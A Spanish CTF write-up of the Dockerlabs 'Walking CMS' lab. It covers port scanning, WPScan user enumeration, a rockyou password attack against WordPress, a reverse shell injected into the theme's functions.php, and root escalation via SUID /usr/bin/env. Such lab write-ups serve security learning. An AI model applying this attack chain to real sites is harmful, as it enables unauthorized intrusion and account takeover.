Walking CMS (Easy) - Dockerlabs
Writeup
Recon
Comenzamos por lanzar un escaneo de puertos como de costumbre, para identificar servicios y versiones en todos los puertos abiertos mediante TCP.
nmap -p 0-65535 --open -T5 -A -sT -Pn -n 172.17.0.2 -oX nmap_TCP.xml && xsltproc nmap_TCP.xml -o nmap_TCP.html && open nmap_TCP.html &>/dev/null & disown
El escaneo muestra un servidor HTTP sirviendo una página en el puerto 80 y nada más a primera vista, por lo que vamos a echarle un vistazo al contenido de esta. Al visitarla solo me encuentro con la página default de Apache, así que voy a probar a lanzar un fuzzeo con ffuf en busca de directorios ocultos para ampliar un poco la superficie de ataque. Después de solo un par de segundos ffuf encuentra /wordpress.
WordPress
En esta ruta hay poca cosa, un artículo que se encuentra en http://172.17.0.2/wordpress/index.php/pagina-ejemplo/ algún enlace muerto. Sin duda alguna se trata de un WordPress así que voy a utilizar WhatWeb para identificar la versión mientras dejo ffuf trabajando en los directorios dentro de /wordpress. El fuzzeo no encuentra nada que no me esperase, una licencia, un readme, y el panel de login de WP, por otro lado, whatweb dice que estamos ante un WordPress 6.8.2.
Investigando me encuentro con que las versiones de WP anteriores a las 6.9 que utilizan el plugin wp-file-manager son susceptibles a la ejecución arbitraria de código PHP, lo que nos podría permitir acceder al sistema mediante una reverse shell.
Utilizando WPScan veo que la página no tiene instalado el plugin en cuestión, pero probando más parámetros en wpscan encuentro un usuario: mario.
wpscan --url http://172.17.0.2/wordpress/ -e u
[i] User(s) Identified:
[+] mario
| Found By: Rss Generator (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://172.17.0.2/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
Ahora, ya sabiendo el usuario vamos a probar a lanzar un ataque diccionario.
Ataque diccionario
En apenas unos segundos, encontramos la contraseña para el usuario mario
wpscan --url http://172.17.0.2/wordpress/ -U mario -P /usr/share/wordlists/rockyou.txt
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - mario / love
Trying mario / love Time: 00:00:02 < > (390 / 14344783) 0.00% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: mario, Password: love
Exploit
Reverse Shell
Desde dentro del panel de admin de WP, editamos desde el Theme Code Editor el archivo functions.php y le añadimos la reverse shell de Pentest Monkey, una vez hecho, refrescamos y ya estamos dentro como www-data.
Post
Al intentar hacer sudo -l no me deja, así que instlado LinPEAS para automatizar el escalado de privilegios. Gracias a LinPEAS encuentro que el /usr/bin/env se ejecuta con privilegios de root, así que vamos a tratar de escalar a través de ese vector. Una vez llegados a este punto, es tan sencillo como ejecutar usr/bin/env /bin/sh -p
, y ya somos root:
www-data@e7f63e892112:/$ /usr/bin/env /bin/sh -p
/usr/bin/env /bin/sh -p
whoami
root
Last updated